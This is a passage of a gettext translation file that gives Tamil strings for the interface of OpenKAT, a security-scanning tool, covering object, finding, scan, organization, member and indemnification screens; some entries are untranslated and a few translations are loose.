rocky/templates/oois/error.html\nmsgid \"Object List\"\nmsgstr \"பொருள் பட்டியல்\"\n\n#: rocky/templates/oois/error.html\nmsgid \"An error occurred. Please contact a system administrator.\"\nmsgstr \"பிழை ஏற்பட்டது. கணினி நிர்வாகியை தொடர்பு கொள்ளவும்.\"\n\n#: rocky/templates/oois/ooi_add.html\n#, python-format\nmsgid \"Add a %(display_type)s\"\nmsgstr \"ஒரு %(display_type)s சேர்\"\n\n#: rocky/templates/oois/ooi_add.html\nmsgid \"\"\n\"Here you can add the asset of the client. Findings can be added to these in \"\n\"the findings page.\"\nmsgstr \"\"\n\"இங்கே நீங்கள் கிளையண்டின் சொத்தைச் சேர்க்கலாம். கண்டுபிடிப்புகள் பக்கத்தில் கண்டுபிடிப்புகளைச் \"\n\"சேர்க்கப்படலாம்.\"\n\n#: rocky/templates/oois/ooi_add.html\n#, python-format\nmsgid \"Add %(display_type)s\"\nmsgstr \"%(display_type)s சேர்\"\n\n#: rocky/templates/oois/ooi_add_type_select.html\n#: rocky/templates/oois/ooi_detail_add_related_object.html\n#: rocky/templates/partials/elements/ooi_add_type_select_form.html\n#: rocky/templates/partials/ooi_list_toolbar.html rocky/views/ooi_add.py\nmsgid \"Add object\"\nmsgstr \"பொருளைச் சேர்க்கவும்\"\n\n#: rocky/templates/oois/ooi_add_type_select.html\nmsgid \"Select the type of object you want to create.\"\nmsgstr \"நீங்கள் உருவாக்க விரும்பும் பொருளின் வகையைத் தேர்ந்தெடுக்கவும்.\"\n\n#: rocky/templates/oois/ooi_delete.html\n#, python-format\nmsgid \"Delete %(primary_key)s\"\nmsgstr \"%(primary_key)s நீக்கு\"\n\n#: rocky/templates/oois/ooi_delete.html\nmsgid \"Are you sure?\"\nmsgstr \"நீங்கள் உறுதியாக இருக்கிறீர்களா?\"\n\n#: rocky/templates/oois/ooi_delete.html\n#, python-format\nmsgid \"Here you can delete the %(display_type)s.\"\nmsgstr \"இங்கே நீங்கள் %(display_type)sகளை நீக்கலாம்.\"\n\n#: rocky/templates/oois/ooi_delete.html\nmsgid \"To be deleted object(s)\"\nmsgstr \"நீக்கப்பட்ட பொருள் (கள்)\"\n\n#: rocky/templates/oois/ooi_delete.html\n#: rocky/templates/partials/elements/ooi_tree_condensed_table.html\nmsgid \"Key\"\nmsgstr \"விசை\"\n\n#: rocky/templates/oois/ooi_delete.html\n#: rocky/templates/partials/ooi_detail_toolbar.html\n#, python-format\nmsgid \"Delete %(display_type)s\"\nmsgstr \"%(display_type)s நீக்கு\"\n\n#: rocky/templates/oois/ooi_delete.html\nmsgid \"Deletion not possible for types: KATFindingType and CVEFindingType\"\nmsgstr \"வகைகளுக்கு நீக்குதல் சாத்தியமில்லை: KatfindingType மற்றும் cvefindingType\"\n\n#: rocky/templates/oois/ooi_detail.html\nmsgid \"using boefjes\"\nmsgstr \"போஃப்செசைப் பயன்படுத்துதல்\"\n\n#: rocky/templates/oois/ooi_detail.html\n#: rocky/templates/organizations/organization_settings.html\nmsgid \"indemnification warning\"\nmsgstr \"இழப்பீடு எச்சரிக்கை\"\n\n#: rocky/templates/oois/ooi_detail.html\n#, python-format\nmsgid \"\"\n\"<strong>Warning:</strong> There is no indemnification for this organization. \"\n\"Go to the <a href=\\\"%(organization_settings)s\\\">organization settings page</\"\n\"a> to add one.\"\nmsgstr \"\"\n\"<strong> எச்சரிக்கை: </strong> இந்த அமைப்புக்கு இழப்பீடு இல்லை. ஒன்றைச் சேர்க்க <a \"\n\"href=\\\"%(organization_settings)s\\\"> அமைப்பு அமைப்புகள் பக்கத்திற்குச்</a> செல்லவும்.\"\n\n#: rocky/templates/oois/ooi_detail.html\nmsgid \"Permission warning\"\nmsgstr \"இசைவு முன்னறிவிப்பு\"\n\n#: rocky/templates/oois/ooi_detail.html\nmsgid \"\"\n\"<strong>Warning:</strong> You don't have the proper permission at the \"\n\"organizational level to scan objects. Contact your administrator.\"\nmsgstr \"\"\n\"<strong> எச்சரிக்கை: </strong> பொருள்களை வருடு செய்ய நிறுவன மட்டத்தில் உங்களுக்கு \"\n\"சரியான இசைவு இல்லை. உங்கள் நிர்வாகியைத் தொடர்பு கொள்ளுங்கள்.\"\n\n#: rocky/templates/oois/ooi_detail.html\n#: rocky/templates/scan_profiles/scan_profile_detail.html\nmsgid \"Scan warning\"\nmsgstr \"முன்னறிவிப்பு வருடு\"\n\n#: rocky/templates/oois/ooi_detail.html\n#, python-format\nmsgid \"\"\n\"<strong>Warning:</strong> You are not allowed to scan this OOI. Your maximum \"\n\"clearance level is %(member_clearance_level)s and this OOI has level \"\n\"%(boefje_scan_level)s. Go to your <a href=\\\"%(account_details)s\\\">account \"\n\"details</a> to manage your clearance level.\"\nmsgstr \"\"\n\"<strong> எச்சரிக்கை: </strong> இந்த OOI ஐ வருடு செய்ய உங்களுக்கு இசைவு இல்லை. உங்கள் \"\n\"அதிகபட்ச இசைவு நிலை %(member_clearance_level)s மற்றும் இந்த OOI நிலை \"\n\"%(boefje_scan_level)s. உங்கள் இசைவு அளவை நிர்வகிக்க உங்கள் <a href = \"\n\"\\\"%(account_details)s\\\"> கணக்கு விவரங்கள் </a> க்குச் செல்லவும்.\"\n\n#: rocky/templates/oois/ooi_detail.html rocky/templates/scan.html\nmsgid \"Boefjes overview\"\nmsgstr \"போஃப்செச் கண்ணோட்டம்\"\n\n#: rocky/templates/oois/ooi_detail.html\n#: rocky/templates/oois/ooi_detail_origins_observations.html\n#: rocky/templates/scan.html rocky/templates/tasks/boefjes.html\n#: rocky/templates/tasks/normalizers.html\nmsgid \"Boefje\"\nmsgstr \"வஞ்சக\"\n\n#: rocky/templates/oois/ooi_detail.html rocky/templates/scan.html\nmsgid \"Scan profile\"\nmsgstr \"சுயவிவரத்தை ச்கேன் செய்யுங்கள்\"\n\n#: rocky/templates/oois/ooi_detail.html\nmsgid \"Unable to start scan. See the warning for more details.\"\nmsgstr \"வருடு தொடங்க முடியவில்லை. மேலும் விவரங்களுக்கு எச்சரிக்கையைப் பார்க்கவும்.\"\n\n#: rocky/templates/oois/ooi_detail.html\nmsgid \"Start scan\"\nmsgstr \"வருடு தொடங்கவும்\"\n\n#: rocky/templates/oois/ooi_detail.html\nmsgid \"There are no boefjes enabled to scan an OOI of type\"\nmsgstr \"ஒரு வகை OOI ஐ ச்கேன் செய்ய போஃப்செச் எதுவும் இயக்கப்படவில்லை\"\n\n#: rocky/templates/oois/ooi_detail.html\nmsgid \"See\"\nmsgstr \"பார்க்க\"\n\n#: rocky/templates/oois/ooi_detail.html\nmsgid \"to find and enable boefjes that can scan within the current level.\"\nmsgstr \"தற்போதைய நிலைக்குள் ச்கேன் செய்யக்கூடிய போஃப்ச்களைக் கண்டுபிடித்து இயக்க.\"\n\n#: rocky/templates/oois/ooi_detail_add_related_object.html\n#: rocky/templates/partials/ooi_detail_related_object.html\nmsgid \"Add related object\"\nmsgstr \"தொடர்புடைய பொருளைச் சேர்க்கவும்\"\n\n#: rocky/templates/oois/ooi_detail_add_related_object.html\n#: rocky/templates/oois/ooi_detail_object.html\nmsgid \"Object details\"\nmsgstr \"பொருள் விவரங்கள்\"\n\n#: rocky/templates/oois/ooi_detail_add_related_object.html\n#: rocky/templates/partials/elements/ooi_add_type_select_form.html\nmsgid \"Object type\"\nmsgstr \"பொருள் வகை\"\n\n#: rocky/templates/oois/ooi_detail_add_related_object.html\n#: rocky/templates/partials/elements/ooi_add_type_select_form.html\nmsgid \"Choose an object type to add\"\nmsgstr \"சேர்க்க ஒரு பொருள் வகையைத் தேர்வுசெய்க\"\n\n#: rocky/templates/oois/ooi_detail_add_related_object.html\n#: rocky/templates/partials/elements/ooi_add_type_select_form.html\nmsgid \"Select an object type to add.\"\nmsgstr \"சேர்க்க ஒரு பொருள் வகையைத் தேர்ந்தெடுக்கவும்.\"\n\n#: rocky/templates/oois/ooi_detail_findings_list.html\nmsgid \"Overview of findings for\"\nmsgstr \"கண்டுபிடிப்புகளின் கண்ணோட்டம்\"\n\n#: rocky/templates/oois/ooi_detail_findings_list.html\nmsgid \"Score\"\nmsgstr \"கெலிப்பெண்\"\n\n#: rocky/templates/oois/ooi_detail_findings_list.html\n#: rocky/templates/partials/ooi_report_findings_block_table_expanded_row.html\nmsgid \"Finding details\"\nmsgstr \"விவரங்களைக் கண்டறிதல்\"\n\n#: rocky/templates/oois/ooi_detail_findings_overview.html\nmsgid \"Overview of the number of findings and their severity found on\"\nmsgstr \"கண்டுபிடிப்புகளின் எண்ணிக்கை மற்றும் அவற்றின் தீவிரம் பற்றிய கண்ணோட்டம்\"\n\n#: rocky/templates/oois/ooi_detail_findings_overview.html\nmsgid \"\"\n\"Findings can occur multiple times. To give better insight the following \"\n\"table shows the number of unique findings found as well as the number of \"\n\"occurrences.\"\nmsgstr \"\"\n\"கண்டுபிடிப்புகள் பல முறை ஏற்படலாம். சிறந்த நுண்ணறிவை வழங்க பின்வரும் அட்டவணை காணப்படும் \"\n\"தனித்துவமான கண்டுபிடிப்புகளின் எண்ணிக்கையையும் நிகழ்வுகளின் எண்ணிக்கையையும் காட்டுகிறது.\"\n\n#: rocky/templates/oois/ooi_detail_findings_overview.html\nmsgid \"See finding details\"\nmsgstr \"விவரங்களைக் கண்டுபிடிப்பதைக் காண்க\"\n\n#: rocky/templates/oois/ooi_detail_findings_overview.html\nmsgid \"Total findings\"\nmsgstr \"மொத்த கண்டுபிடிப்புகள்\"\n\n#: rocky/templates/oois/ooi_detail_object.html\n#: rocky/templates/scan_profiles/scan_profile_detail.html\nmsgid \"Inactive\"\nmsgstr \"செயலற்றது\"\n\n#: rocky/templates/oois/ooi_detail_origins_declarations.html\nmsgid \"Declarations\"\nmsgstr \"அறிவிப்புகள்\"\n\n#: rocky/templates/oois/ooi_detail_origins_inference.html\nmsgid \"Inferred by\"\nmsgstr \"ஊகிக்கப்பட்டது\"\n\n#: rocky/templates/oois/ooi_detail_origins_inference.html\nmsgid \"Bit\"\nmsgstr \"துணுக்கு\"\n\n#: rocky/templates/oois/ooi_detail_origins_inference.html\nmsgid \"Parameters\"\nmsgstr \"அளவுருக்கள்\"\n\n#: rocky/templates/oois/ooi_detail_origins_observations.html\nmsgid \"Last observed by\"\nmsgstr \"கடைசியாக கவனித்தார்\"\n\n#: rocky/templates/oois/ooi_detail_origins_observations.html\nmsgid \"Task ID\"\nmsgstr \"பணி ஐடி\"\n\n#: rocky/templates/oois/ooi_detail_origins_observations.html\nmsgid \"When\"\nmsgstr \"எப்போது\"\n\n#: rocky/templates/oois/ooi_detail_origins_observations.html\n#: rocky/templates/tasks/normalizers.html\nmsgid \"Normalizer\"\nmsgstr \"இயல்பாக்குதல்\"\n\n#: rocky/templates/oois/ooi_detail_origins_observations.html\nmsgid \"This scan was manually created.\"\nmsgstr \"இந்த ச்கேன் கைமுறையாக உருவாக்கப்பட்டது.\"\n\n#: rocky/templates/oois/ooi_detail_origins_observations.html\nmsgid \"The boefje has since been deleted or disabled.\"\nmsgstr \"போஃப்சே பின்னர் நீக்கப்பட்டது அல்லது முடக்கப்பட்டுள்ளது.\"\n\n#: rocky/templates/oois/ooi_detail_origins_observations.html\nmsgid \"No Raw file could be found, this might point to an error in OpenKAT\"\nmsgstr \"மூல கோப்பைக் காண முடியவில்லை, இது OpenKat இல் ஒரு பிழையை சுட்டிக்காட்டக்கூடும்\"\n\n#: rocky/templates/oois/ooi_detail_origins_observations.html\n#: rocky/templates/scan_profiles/scan_profile_detail.html\nmsgid \"Warning\"\nmsgstr \"எச்சரிக்கை\"\n\n#: rocky/templates/oois/ooi_edit.html\n#, python-format\nmsgid \"Edit %(type)s: %(ooi_human_readable)s\"\nmsgstr \"திருத்து %(type)s: %(ooi_human_readable)s\"\n\n#: rocky/templates/oois/ooi_edit.html\nmsgid \"Primary key fields cannot be edited.\"\nmsgstr \"முதன்மை முக்கிய புலங்களை திருத்த முடியாது.\"\n\n#: rocky/templates/oois/ooi_edit.html\n#, python-format\nmsgid \"Save %(display_type)s\"\nmsgstr \"%(display_type)s சேமிக்கவும்\"\n\n#: rocky/templates/oois/ooi_findings.html\nmsgid \"Currently no findings have been identified for OOI\"\nmsgstr \"தற்போது OOI க்கு கண்டுபிடிப்புகள் எதுவும் அடையாளம் காணப்படவில்லை\"\n\n#: rocky/templates/oois/ooi_list.html\n#, python-format\nmsgid \"\"\n\"An overview of objects found for organization <strong>%(organization_name)s</\"\n\"strong>. Objects can be added manually or by running Boefjes. Click an \"\n\"object for additional information.\"\nmsgstr \"\"\n\"அமைப்பு <strong>%(organization_name)s </strong> க்கான பொருள்களின் கண்ணோட்டம். \"\n\"பொருள்களை கைமுறையாக அல்லது போஃப்செசை இயக்குவதன் மூலம் சேர்க்கலாம். கூடுதல் தகவலுக்கு \"\n\"ஒரு பொருளைக் சொடுக்கு செய்க.\"\n\n#: rocky/templates/oois/ooi_list.html\n#: rocky/templates/scan_profiles/scan_profile_detail.html\nmsgid \"Edit clearance level\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_mute_finding.html\nmsgid \"Mute finding:\"\nmsgstr \"முடக்கு கண்டுபிடிப்பு:\"\n\n#: rocky/templates/oois/ooi_mute_finding.html\nmsgid \"Give a reason below why you want to mute this finding.\"\nmsgstr \"\"\n\"இந்த கண்டுபிடிப்பை நீங்கள் முடக்க விரும்புகிறீர்கள் என்பதற்கு கீழே ஒரு காரணத்தைக் கூறுங்கள்.\"\n\n#: rocky/templates/oois/ooi_mute_finding.html\n#: rocky/templates/partials/mute_findings_modal.html\n#: rocky/templates/partials/ooi_detail_toolbar.html\nmsgid \"Mute finding\"\nmsgstr \"முடக்கு கண்டுபிடிப்பு\"\n\n#: rocky/templates/oois/ooi_mute_finding.html\nmsgid \"Mute\"\nmsgstr \"ஒலிமுடக்கு\"\n\n#: rocky/templates/oois/ooi_page_tabs.html\nmsgid \"List of views for OOI\"\nmsgstr \"OOI க்கான பார்வைகளின் பட்டியல்\"\n\n#: rocky/templates/oois/ooi_past_due_warning.html\nmsgid \"This object is past due\"\nmsgstr \"இந்த பொருள் கடந்த காலமாகும்\"\n\n#: rocky/templates/oois/ooi_past_due_warning.html\nmsgid \"This object is past due and has been deleted\"\nmsgstr \"இந்த பொருள் கடந்துவிட்டது மற்றும் நீக்கப்பட்டது\"\n\n#: rocky/templates/oois/ooi_past_due_warning.html\nmsgid \"\"\n\"This object is past due. You are viewing the object state in a past state.\"\nmsgstr \"\"\n\"இந்த பொருள் கடந்த காலமாகும். நீங்கள் கடந்தகால நிலையில் பொருள் நிலையைப் பார்க்கிறீர்கள்.\"\n\n#: rocky/templates/oois/ooi_past_due_warning.html\nmsgid \"\"\n\"You will not be able to add Findings or other OOI's to past due objects.\"\nmsgstr \"\"\n\"கடந்த கால பொருள்களுக்கு நீங்கள் கண்டுபிடிப்புகள் அல்லது பிற OOI ஐ சேர்க்க முடியாது.\"\n\n#: rocky/templates/oois/ooi_past_due_warning.html\n#: rocky/templates/partials/hyperlink_ooi_id.html\n#, python-format\nmsgid \"Show details for %(name)s\"\nmsgstr \"%(name)s விவரங்களைக் காட்டு\"\n\n#: rocky/templates/oois/ooi_past_due_warning.html\nmsgid \"View the current state\"\nmsgstr \"தற்போதைய நிலையைக் காண்க\"\n\n#: rocky/templates/oois/ooi_past_due_warning.html\nmsgid \"\"\n\"You will not be able to add Findings or other OOI's, this object has been \"\n\"deleted and is no longer available.\"\nmsgstr \"\"\n\"நீங்கள் கண்டுபிடிப்புகள் அல்லது பிற OOI களைச் சேர்க்க முடியாது, இந்த பொருள் நீக்கப்பட்டது, \"\n\"இனி கிடைக்காது.\"\n\n#: rocky/templates/oois/ooi_summary.html\nmsgid \"Summary for\"\nmsgstr \"இதற்கு சுருக்கம்\"\n\n#: rocky/templates/oois/ooi_summary.html\nmsgid \"Below you can see findings that were found for\"\nmsgstr \"கீழே காணப்பட்ட கண்டுபிடிப்புகளை கீழே காணலாம்\"\n\n#: rocky/templates/oois/ooi_summary.html\nmsgid \"and direct  children of this\"\nmsgstr \"இதன் நேரடி குழந்தைகள்\"\n\n#: rocky/templates/oois/ooi_summary.html\nmsgid \"This\"\nmsgstr \"இது\"\n\n#: rocky/templates/oois/ooi_summary.html\nmsgid \"tree view\"\nmsgstr \"மரக் காட்சி\"\n\n#: rocky/templates/oois/ooi_summary.html\nmsgid \"of the\"\nmsgstr \"இதனுடைய\"\n\n#: rocky/templates/oois/ooi_summary.html\nmsgid \"shows the same objects.\"\nmsgstr \"அதே பொருள்களைக் காட்டுகிறது.\"\n\n#: rocky/templates/organizations/organization_add.html\nmsgid \"\"\n\"Please enter the following organization details. These details can be edited \"\n\"within the organization page within OpenKAT when necessary.\"\nmsgstr \"\"\n\"பின்வரும் நிறுவன விவரங்களை உள்ளிடவும். இந்த விவரங்களை தேவைப்படும்போது OpenKAT க்குள் \"\n\"உள்ள நிறுவன பக்கத்திற்குள் திருத்தலாம்.\"\n\n#: rocky/templates/organizations/organization_edit.html\nmsgid \"Edit organization\"\nmsgstr \"அமைப்பைத் திருத்து\"\n\n#: rocky/templates/organizations/organization_edit.html\nmsgid \"Save organization\"\nmsgstr \"அமைப்பைச் சேமிக்கவும்\"\n\n#: rocky/templates/organizations/organization_list.html\nmsgid \"An overview of all organizations you are a member of.\"\nmsgstr \"நீங்கள் உறுப்பினராக உள்ள அனைத்து அமைப்புகளின் கண்ணோட்டம்.\"\n\n#: rocky/templates/organizations/organization_list.html\nmsgid \"Add new organization\"\nmsgstr \"புதிய அமைப்பைச் சேர்க்கவும்\"\n\n#: rocky/templates/organizations/organization_list.html\n#, python-format\nmsgid \"\"\n\"\\n\"\n\"                            Showing %(total)s organizations\\n\"\n\"                        \"\nmsgstr \"\"\n\"\\n\"\n\"                            %(total)s அமைப்புகளைக் காட்டுகிறது\\n\"\n\"                        \"\n\n#: rocky/templates/organizations/organization_list.html\nmsgid \"Organization overview:\"\nmsgstr \"அமைப்பு கண்ணோட்டம்:\"\n\n#: rocky/templates/organizations/organization_list.html\n#: rocky/templates/organizations/organization_settings.html\nmsgid \"Tags\"\nmsgstr \"குறிச்சொற்கள்\"\n\n#: rocky/templates/organizations/organization_list.html\nmsgid \"There were no organizations found for your user account\"\nmsgstr \"உங்கள் பயனர் கணக்கிற்கு எந்த நிறுவனங்களும் கிடைக்கவில்லை\"\n\n#: rocky/templates/organizations/organization_list.html\nmsgid \"Actions to perform for all of your organizations.\"\nmsgstr \"உங்கள் அனைத்து நிறுவனங்களுக்கும் செய்ய நடவடிக்கைகள்.\"\n\n#: rocky/templates/organizations/organization_list.html\n#: rocky/templates/organizations/organization_settings.html\nmsgid \"Rerun all bits\"\nmsgstr \"அனைத்து பிட்களையும் மீண்டும் இயக்கவும்\"\n\n#: rocky/templates/organizations/organization_member_add.html\nmsgid \"Change account type\"\nmsgstr \"கணக்கு வகையை மாற்றவும்\"\n\n#: rocky/templates/organizations/organization_member_add_header.html\n#: rocky/views/organization_member_add.py\nmsgid \"Add member\"\nmsgstr \"உறுப்பினரைச் சேர்\"\n\n#: rocky/templates/organizations/organization_member_add_header.html\n#, python-format\nmsgid \"\"\n\"Creating a new member of organization <strong>%(organization)s</strong>. For \"\n\"detailed information about the different account types, check the <a \"\n\"href=\\\"https://docs.openkat.nl/basics/users-and-organisations.html#users\\\" \"\n\"target=\\\"_blank\\\" rel=\\\"noopener\\\">documentation</a>.\"\nmsgstr \"\"\n\"அமைப்பின் புதிய உறுப்பினரை உருவாக்குதல் <strong>%(organization)s </strong>. \"\n\"வெவ்வேறு கணக்கு வகைகளைப் பற்றிய விரிவான தகவலுக்கு, <a href=\\\"https://docs.openkat.\"\n\"nl/basics/users-and-organisations.html#users\\\" target=\\\"_blank\\\" \"\n\"rel=\\\"noopener\\\">ஆவணங்கள் </a> ஐ சரிபார்.\"\n\n#: rocky/templates/organizations/organization_member_edit.html\n#: rocky/views/organization_member_edit.py\nmsgid \"Edit member\"\nmsgstr \"உறுப்பினரைத் திருத்து\"\n\n#: rocky/templates/organizations/organization_member_edit.html\nmsgid \"Save member\"\nmsgstr \"உறுப்பினரை சேமிக்கவும்\"\n\n#: rocky/templates/organizations/organization_member_list.html\n#, python-format\nmsgid \"An overview of members of <strong>%(organization_name)s</strong>.\"\nmsgstr \"<strong>%(organization_name)s </strong> உறுப்பினர்களின் கண்ணோட்டம்.\"\n\n#: rocky/templates/organizations/organization_member_list.html\nmsgid \"Add member(s)\"\nmsgstr \"உறுப்பினரைச் சேர்க்கவும் (கள்)\"\n\n#: rocky/templates/organizations/organization_member_list.html\nmsgid \"Manually\"\nmsgstr \"கைமுறையாக\"\n\n#: rocky/templates/organizations/organization_member_list.html\nmsgid \"Upload a CSV\"\nmsgstr \"ஒரு காபிம ஐ பதிவேற்றவும்\"\n\n#: rocky/templates/organizations/organization_member_list.html\n#, python-format\nmsgid \"\"\n\"\\n\"\n\"                        Showing %(total)s members\\n\"\n\"                    \"\nmsgstr \"\"\n\"\\n\"\n\"                        %(total)s உறுப்பினர்களைக் காட்டுகிறது\\n\"\n\"                    \"\n\n#: rocky/templates/organizations/organization_member_list.html\nmsgid \"Member overview:\"\nmsgstr \"உறுப்பினர் கண்ணோட்டம்:\"\n\n#: rocky/templates/organizations/organization_member_list.html\nmsgid \"Role\"\nmsgstr \"பங்கு\"\n\n#: rocky/templates/organizations/organization_member_list.html\nmsgid \"Assigned clearance level\"\nmsgstr \"ஒதுக்கப்பட்ட இசைவு நிலை\"\n\n#: rocky/templates/organizations/organization_member_list.html\nmsgid \"Super user\"\nmsgstr \"சூப்பர் பயனர்\"\n\n#: rocky/templates/organizations/organization_member_upload.html\n#: rocky/views/organization_member_add.py\nmsgid \"Add members\"\nmsgstr \"உறுப்பினர்களைச் சேர்\"\n\n#: rocky/templates/organizations/organization_member_upload.html\n#, python-format\nmsgid \"\"\n\"To upload multiple members at once, you can upload a CSV file or you can <a \"\n\"href=\\\"%(download_url)s\\\">download the template</a>.\"\nmsgstr \"\"\n\"பல உறுப்பினர்களை ஒரே நேரத்தில் பதிவேற்ற, நீங்கள் ஒரு காபிம கோப்பைப் பதிவேற்றலாம் அல்லது \"\n\"நீங்கள் <a href = \\\"%(download_url)s\\\"> வார்ப்புருவைப் பதிவிறக்கலாம் </a>.\"\n\n#: rocky/templates/organizations/organization_member_upload.html\nmsgid \"To create a custom CSV file, make sure it meets the following criteria:\"\nmsgstr \"\"\n\"தனிப்பயன் காபிம கோப்பை உருவாக்க, இது பின்வரும் அளவுகோல்களை நிறைவு செய்கிறது என்பதை \"\n\"உறுதிப்படுத்திக் கொள்ளுங்கள்:\"\n\n#: rocky/templates/organizations/organization_member_upload.html\nmsgid \"Upload\"\nmsgstr \"பதிவேற்றும்\"\n\n#: rocky/templates/organizations/organization_settings.html\n#, python-format\nmsgid \"\"\n\"An overview of general information and settings for \"\n\"<strong>%(organization_name)s</strong>.\"\nmsgstr \"\"\n\"<strong>%(organization_name)s </strong> க்கான பொதுவான தகவல்கள் மற்றும் அமைப்புகளின் \"\n\"கண்ணோட்டம்.\"\n\n#: rocky/templates/organizations/organization_settings.html\nmsgid \"\"\n\"<strong>Warning:</strong> Indemnification is not set for this organization.\"\nmsgstr \"<strong> எச்சரிக்கை: </strong> இந்த அமைப்புக்கு இழப்பீடு அமைக்கப்படவில்லை.\"\n\n#: rocky/templates/organizations/organization_settings.html\n#: rocky/views/indemnification_add.py\nmsgid \"Add indemnification\"\nmsgstr \"இழப்பீடு சேர்க்கவும்\"\n\n#: rocky/templates/partials/current_config.html\nmsgid \"Current configuration\"\nmsgstr \"\"\n\n#: rocky/templates/partials/delete_ooi_modal.html\nmsgid \"Delete objects\"\nmsgstr \"\"\n\n#: rocky/templates/partials/delete_ooi_modal.html\nmsgid \"\"\n\"Are you sure you want to delete all the selected objects? The history of the \"\n\"deleted objects will still be available.\"\nmsgstr \"\"\n\n#: rocky/templates/partials/edit_ooi_clearance_level_modal.html\nmsgid \"Edit clearance level settings\"\nmsgstr \"\"\n\n#: rocky/templates/partials/edit_ooi_clearance_level_modal.html\nmsgid \"You are editing clearance level of all the selected objects.\"\nmsgstr \"\"\n\n#: rocky/templates/partials/edit_ooi_clearance_level_modal.html\nmsgid \"Switching between declare and inherit\"\nmsgstr \"\"\n\n#: rocky/templates/partials/edit_ooi_clearance_level_modal.html\nmsgid \"\"\n\"Clearance levels can be automatically inherited or you can manually declare \"\n\"the clearance level for an object. Switching to inherit clearance level will \"\n\"also recalculate the clearance levels of objects that inherit from these \"\n\"clearance levels.\"\nmsgstr \"\"\n\n#: rocky/templates/partials/elements/ooi_detail_settings.html\nmsgid \"Observed at\"\nmsgstr \"கண்டறிந்த\"\n\n#: rocky/templates/partials/elements/ooi_detail_settings.html\n#: rocky/templates/partials/elements/ooi_report_settings.html\nmsgid \"Show settings\"\nmsgstr \"அமைப்புகளைக் காட்டு\"\n\n#: rocky/templates/partials/elements/ooi_detail_settings.html\n#: rocky/templates/partials/elements/ooi_report_settings.html\nmsgid \"Hide settings\"\nmsgstr \"அமைப்புகளை மறைக்கவும்\"\n\n#: rocky/templates/partials/elements/ooi_list_settings_form.html\nmsgid \"Toggle all OOI types\"\nmsgstr \"அனைத்து OOI வகைகளையும் மாற்றவும்\"\n\n#: rocky/templates/partials/elements/ooi_tree_condensed_table.html\nmsgid \"Children\"\nmsgstr \"குழந்தைகள்\"\n\n#: rocky/templates/partials/elements/ooi_tree_condensed_table_row.html\n#, python-format\nmsgid \"Show details for %(object_id)s, with %(child_count)s children.\"\nmsgstr \"%(object_id)s, %(child_count)sுழந்தைகளுடன் விவரங்களைக் காட்டு.\"\n\n#: rocky/templates/partials/elements/ooi_tree_condensed_table_row.html\n#, python-format\nmsgid \"\"\n\"Show tree for %(object_id)s with only children of type %(object_ooi_type)s\"\nmsgstr \"\"\n\"%(object_id)sுக்கு மரத்தைக் காட்டு %(object_ooi_type)s இன் வகை குழந்தைகளுடன் மட்டுமே\"\n\n#: rocky/templates/partials/elements/ooi_tree_condensed_table_row.html\n#, python-format\nmsgid \"Unfold %(object_id)s with %(child_count)s children\"\nmsgstr \"%(object_id)sுழந்தைகளுடன் %(child_count)s\"\n\n#: rocky/templates/partials/elements/ooi_tree_table.html\nmsgid \"go to:\"\nmsgstr \"செல்லுங்கள்:\"\n\n#: rocky/templates/partials/elements/ooi_tree_table.html\nmsgid \"Go to detailpage\"\nmsgstr \"விரிவாகச் செல்லுங்கள்\"\n\n#: rocky/templates/partials/elements/ooi_tree_table.html\nmsgid \"detail\"\nmsgstr \"விவரம்\"\n\n#: rocky/templates/partials/elements/ooi_tree_table.html\nmsgid \"Go to tree view\"\nmsgstr \"மரக் காட்சிக்குச் செல்லுங்கள்\"\n\n#: rocky/templates/partials/elements/ooi_tree_table.html\nmsgid \"tree\"\nmsgstr \"மரம்\"\n\n#: rocky/templates/partials/elements/ooi_tree_table.html\nmsgid \"Go to graph view\"\nmsgstr \"வரைபடக் காட்சிக்குச் செல்லவும்\"\n\n#: rocky/templates/partials/elements/ooi_tree_table.html\nmsgid \"graph\"\nmsgstr \"வரைபடம்\"\n\n#: rocky/templates/partials/explanations.html\nmsgid \"Clearance level inheritance\"\nmsgstr \"இசைவு நிலை பரம்பரை\"\n\n#: rocky/templates/partials/explanations.html\nmsgid \"OOI\"\nmsgstr \"ஓய்\"\n\n#: rocky/templates/partials/explanations.html\nmsgid \"Origin\"\nmsgstr \"தோற்றம்\"\n\n#: rocky/templates/partials/explanations.html\nmsgid \"Show clearance level inheritance\"\nmsgstr \"இசைவு நிலை பரம்பரை காட்டு\"\n\n#: rocky/templates/partials/finding_occurrence_definition_list.html\nmsgid \"Reproduction\"\nmsgstr \"இனப்பெருக்கம்\"\n\n#: rocky/templates/partials/form/checkbox_group_table_form.html\nmsgid \"Please enable plugin to start scanning.\"\nmsgstr \"ச்கேனிங் தொடங்க சொருகி இயக்கவும்.\"\n\n#: rocky/templates/partials/form/field_input.html\nmsgid \"Not set\"\nmsgstr \"அமைக்கப்படவில்லை\"\n\n#: rocky/templates/partials/form/field_input.html\nmsgid \"Forgot email\"\nmsgstr \"மின்னஞ்சல் மறந்துவிட்டேன்\"\n\n#: rocky/templates/partials/form/field_input.html\nmsgid \"Forgot password\"\nmsgstr \"கடவுச்சொல்லை மறந்துவிட்டேன்\"\n\n#: rocky/templates/partials/form/field_input_errors.html\n#: rocky/templates/partials/notifications_block.html\nmsgid \"error\"\nmsgstr \"பிழை\"\n\n#: rocky/templates/partials/form/field_input_errors.html\n#: rocky/templates/partials/form/form_errors.html\n#: rocky/templates/partials/notifications_block.html\nmsgid \"Error:\"\nmsgstr \"பிழை:\"\n\n#: rocky/templates/partials/form/field_input_help_text.html\nmsgid \"Open explanation\"\nmsgstr \"திறந்த விளக்கம்\"\n\n#: rocky/templates/partials/form/field_input_help_text.html\nmsgid \"Close explanation\"\nmsgstr \"விளக்கம் மூடு\"\n\n#: rocky/templates/partials/form/field_input_help_text.html\n#: rocky/templates/partials/notifications_block.html\n#: rocky/templates/two_factor/core/login.html\nmsgid \"Explanation:\"\nmsgstr \"விளக்கம்:\"\n\n#: rocky/templates/partials/form/indemnification_add_form.html\nmsgid \"\"\n\"Performing security scans against assets is generally only allowed if you \"\n\"have permission to scan those assets. Certain scans might also have a \"\n\"negative impact on (your) assets. Therefore it is important to know and be \"\n\"aware of the impact of security scans.\"\nmsgstr \"\"\n\n#: rocky/templates/partials/form/indemnification_add_form.html\nmsgid \"\"\n\"An organization indemnification is required before you can use OpenKAT. With \"\n\"the indemnification you declare that you, as a person, can be held \"\n\"accountable.\"\nmsgstr \"\"\n\n#: rocky/templates/partials/form/indemnification_add_form.html\nmsgid \"Set an indemnification\"\nmsgstr \"\"\n\n#: 